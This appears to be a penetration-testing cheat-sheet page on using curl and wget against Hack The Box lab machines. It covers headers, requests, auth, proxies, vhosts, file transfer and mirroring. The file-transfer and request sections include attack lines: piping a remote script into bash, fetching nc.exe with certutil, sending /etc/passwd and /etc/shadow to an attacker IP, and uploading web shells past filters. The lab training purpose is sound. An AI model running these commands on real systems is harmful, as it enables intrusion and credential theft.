WEB^:Web

curl + wget Field Card

curl and wget for HTB web recon: read response headers without Burp, craft requests, cookies and auth, proxy through Burp, find vhosts, move files on and off a box, and mirror sites.

beginnerupdated 2026-10-13curl · wget · httpie · nmap
curl-wget-cheatsheet.pdfDownload

curl + wget Field Card

Read headers, craft requests, push them through Burp, and move files on and off a box, all from the terminal. The full 21-page field card is embedded above. For deeper API work with curl, see the cURL sheet.

Note — Examples use pov.htb (10.10.11.251), an IIS 10 + ASP.NET box. Checked against curl 8.22.0 and GNU Wget 1.25.0.

1. Headers

1.1 Headers only

# HEAD request: prints only the response headers
curl -I http://pov.htb

# Headers from a real GET, body thrown away
curl -s -D - -o /dev/null http://pov.htb

# Headers and body together
curl -i http://pov.htb

# Full exchange: > lines you sent, < lines you got
curl -v -o /dev/null http://pov.htb

Warning — Some servers answer HEAD differently from GET. If -I looks thin or returns 405, use -D - with a real GET.

1.2 Read them like recon

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
HeaderWhat it tells you
Server: Microsoft-IIS/10.0Web server and version. IIS 10 means Windows Server 2016 or later
X-Powered-By: ASP.NETFramework. On Pov this points at ViewState and .NET deserialisation
Set-CookieSession cookie names leak the stack: PHPSESSID, JSESSIONID, ASP.NET_SessionId, laravel_session
LocationRedirect target. Often reveals the vhost name to add to /etc/hosts
WWW-AuthenticateBasic, Digest or NTLM auth wanted. NTLM can leak the domain name
# Only the headers that matter for fingerprinting
curl -s -D - -o /dev/null http://pov.htb | grep -iE '^(server|x-powered|x-aspnet|set-cookie|location):'

1.3 Status and timing

# Just the status code
curl -s -o /dev/null -w '%{http_code}\n' http://pov.htb/admin

# Code, size and redirect target on one line
curl -s -o /dev/null -w '%{http_code} %{size_download} %{redirect_url}\n' http://pov.htb

# Quick path check when ffuf isn't to hand
for p in admin login backup .git/HEAD; do
  echo "$p $(curl -s -o /dev/null -w '%{http_code}' http://pov.htb/$p)"
done

2. Requests

2.1 Methods

# Which methods are allowed (Allow: header)
curl -X OPTIONS -i http://pov.htb

# Try writing a file if PUT is allowed (WebDAV)
curl -X PUT --data-binary @shell.aspx http://pov.htb/shell.aspx

# Any method works with -X
curl -X DELETE http://target.htb/api/users/2

2.2 POST data

# Form POST; -d implies POST
curl -d 'user=admin&pass=admin' http://target.htb/login

# URL-encode the value for you
curl --data-urlencode 'q=<script>alert(1)</script>' http://target.htb/search

# JSON body; sets Content-Type and Accept (curl 7.82+)
curl --json '{"user":"admin","pass":"x"}' http://target.htb/api/login

# JSON from a file (older curl)
curl -H 'Content-Type: application/json' -d @body.json http://target.htb/api

# -G turns -d data into a GET query string
curl -G --data-urlencode 'id=1 OR 1=1' http://target.htb/item

2.3 File upload

# Multipart upload, as a browser form would send it
curl -F 'file=@shell.php' http://target.htb/upload

# Fake the content type and filename to slip past filters
curl -F 'file=@shell.php;type=image/png;filename=cat.png' http://target.htb/upload

# Add the other form fields the handler expects
curl -F 'file=@shell.php' -F 'submit=Upload' http://target.htb/upload.php

2.4 Custom headers

curl -H 'X-Forwarded-For: 127.0.0.1' http://target.htb/admin   # pretend to be localhost
curl -A 'Mozilla/5.0' http://target.htb                         # change the User-Agent
curl -e 'http://target.htb/' http://target.htb/download         # set the Referer
curl -H 'User-Agent:' http://target.htb                         # nothing after the colon removes the header

3. Auth + cookies

curl -u admin:password http://target.htb/admin                  # HTTP Basic
curl --ntlm -u 'DOMAIN\user:pass' http://target.htb             # NTLM (IIS intranets)
curl --digest -u admin:password http://target.htb               # Digest
curl -H 'Authorization: Bearer eyJhbGciOi…' http://target.htb/api/me   # JWT / API token
# Send a cookie copied from the browser
curl -b 'PHPSESSID=abc123' http://target.htb/dashboard

# Log in, save cookies, reuse the session
curl -c jar.txt -d 'user=a&pass=b' http://target.htb/login
curl -b jar.txt http://target.htb/dashboard

# Read and update the jar on every request (multi-step flows)
curl -b jar.txt -c jar.txt -L http://target.htb/

4. Proxy + TLS

# Through Burp: the request lands in HTTP history, replay it there
curl -x http://127.0.0.1:8080 -k http://pov.htb

# Every curl in this shell goes through Burp. Both assignments must be
# spelled out: a single `export a=1 b=$a` expands $a before either is set.
export http_proxy=http://127.0.0.1:8080
export https_proxy=http://127.0.0.1:8080

# Through a chisel or ligolo SOCKS pivot, DNS resolved on the far side
curl --socks5-hostname 127.0.0.1:1080 http://172.16.1.10

# Skip the proxy for one request
curl --noproxy '*' http://pov.htb
# Ignore certificate errors (self-signed on most HTB boxes)
curl -k https://target.htb

# Certificate names: SANs often leak extra vhosts
curl -vk https://target.htb 2>&1 | grep -E 'subject|issuer|subjectAltName'
openssl s_client -connect target.htb:443 </dev/null 2>/dev/null | openssl x509 -noout -text | grep DNS:

5. Vhosts + redirects

# Follow redirects and print headers from every hop
curl -sIL http://10.10.11.251

# A redirect to http://pov.htb/ means: add pov.htb to /etc/hosts
curl -sI http://10.10.11.251 | grep -i location
# Ask the IP for a vhost without touching /etc/hosts
curl -I -H 'Host: dev.pov.htb' http://10.10.11.251

# Pin a name to an IP for this request only (also works for HTTPS/SNI)
curl --resolve dev.pov.htb:80:10.10.11.251 http://dev.pov.htb

# Quick vhost check: a different size from the default page = real vhost
for v in dev admin staging; do
  curl -s -o /dev/null -w "$v %{http_code} %{size_download}\n" -H "Host: $v.pov.htb" http://10.10.11.251
done

echo '10.10.11.251 pov.htb dev.pov.htb' | sudo tee -a /etc/hosts

6. File transfer

# On your box: serve the current directory (your IP: ip -4 a show tun0)
python3 -m http.server 8000
python3 -m uploadserver 8000        # adds /upload for files coming back
# Linux target
curl -o /tmp/linpeas.sh http://10.10.14.5:8000/linpeas.sh
curl -O http://10.10.14.5:8000/linpeas.sh                      # keep the remote filename
wget -q http://10.10.14.5:8000/pspy64 -O /tmp/pspy64 && chmod +x /tmp/pspy64
curl -s http://10.10.14.5:8000/linpeas.sh | bash               # run in memory
# Windows target: type curl.exe, since bare curl in PowerShell is Invoke-WebRequest
curl.exe -o C:\Windows\Temp\nc.exe http://10.10.14.5:8000/nc.exe
iwr http://10.10.14.5:8000/winPEASx64.exe -OutFile wp.exe
certutil -urlcache -split -f http://10.10.14.5:8000/nc.exe nc.exe
# Push loot back
curl -F 'files=@/etc/passwd' http://10.10.14.5:8000/upload      # to uploadserver
curl -T loot.zip http://10.10.14.5:8000/                        # HTTP PUT
curl --data-binary @/etc/shadow http://10.10.14.5:9001/         # catch with nc -lvnp 9001

7. wget

7.1 Basics

wget http://target.htb/backup.zip                 # download to the current directory
wget -O out.html http://target.htb                # choose the filename (-O - = stdout)
wget -c http://target.htb/big.iso                 # resume a broken download
wget -S --spider http://pov.htb                   # headers only, nothing saved
wget -q -O - http://target.htb | grep -i password # fetch silently and search

7.2 Mirror and spider

# Recursive, stay below docs/, rewrite links to work offline
wget -r -np -k http://target.htb/docs/

# Full mirror, ignore robots.txt
wget -m -np -e robots=off http://target.htb/

# Only documents, two levels deep: then run exiftool on them
wget -r -l 2 -A pdf,docx,xlsx http://target.htb/

# Map every reachable URL without downloading
wget --spider -r -nd -nv -o spider.log http://target.htb/ && grep -oE 'http[^ ]+' spider.log | sort -u

# Pull an open directory listing, skip the index pages
wget -r -np -R 'index.html*' http://target.htb/files/

7.3 Auth and options

wget --user=admin --password=pass http://target.htb/secret
wget --header='Cookie: PHPSESSID=abc123' http://target.htb/dashboard
wget --no-check-certificate https://target.htb                       # curl's -k
wget -e use_proxy=yes -e http_proxy=127.0.0.1:8080 http://target.htb # through Burp
wget --post-data='user=a&pass=b' http://target.htb/login

7.4 Exposed .git

curl -s http://target.htb/.git/HEAD                      # "ref: refs/heads/master" = exposed
wget -r -np -nH -R 'index.html*' http://target.htb/.git/ # if listing is on, then git checkout -- .
git-dumper http://target.htb/.git/ ./repo                # when listing is off

8. Alternatives

# httpie: coloured, readable output
http --headers http://pov.htb
http -v POST target.htb/api/login user=admin pass=x
http --verify=no --proxy=http:http://127.0.0.1:8080 https://target.htb

# nmap and friends
nmap -p80,443 --script http-headers,http-title,http-methods pov.htb
whatweb -a 3 http://pov.htb

# Raw HTTP without curl (handy on a bare target)
printf 'GET / HTTP/1.1\r\nHost: pov.htb\r\nConnection: close\r\n\r\n' | nc 10.10.11.251 80
ToolBest for
curlOne-off requests, scripting, uploads, cookies, proxies. Default choice
wgetDownloads, resuming and recursive mirroring
httpieReading responses and poking JSON APIs
nmap / whatwebFingerprinting many hosts at once

9. When it breaks

SymptomFix
Could not resolve host: pov.htbNot in /etc/hosts yet. Add it, or use --resolve / -H 'Host:'
SSL certificate problem: self-signedAdd -k (curl) or --no-check-certificate (wget)
Empty output, no errorIt’s a redirect. Add -L, or -i to see the Location
405 Method Not Allowed on -IServer blocks HEAD. Use curl -s -D - -o /dev/null URL
Failed to connect … Connection refusedWrong port or the VPN is down. Check ip a show tun0 and ping the box
Binary output can mess up your terminalAdd -o file or --output -
PowerShell curl takes odd argumentsThat is Invoke-WebRequest. Call curl.exe
Special characters break the URLQuote the URL, or let -G --data-urlencode build the query

Note — When a request misbehaves, add -v first. If it still makes no sense, add -x http://127.0.0.1:8080 and read it in Burp.

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.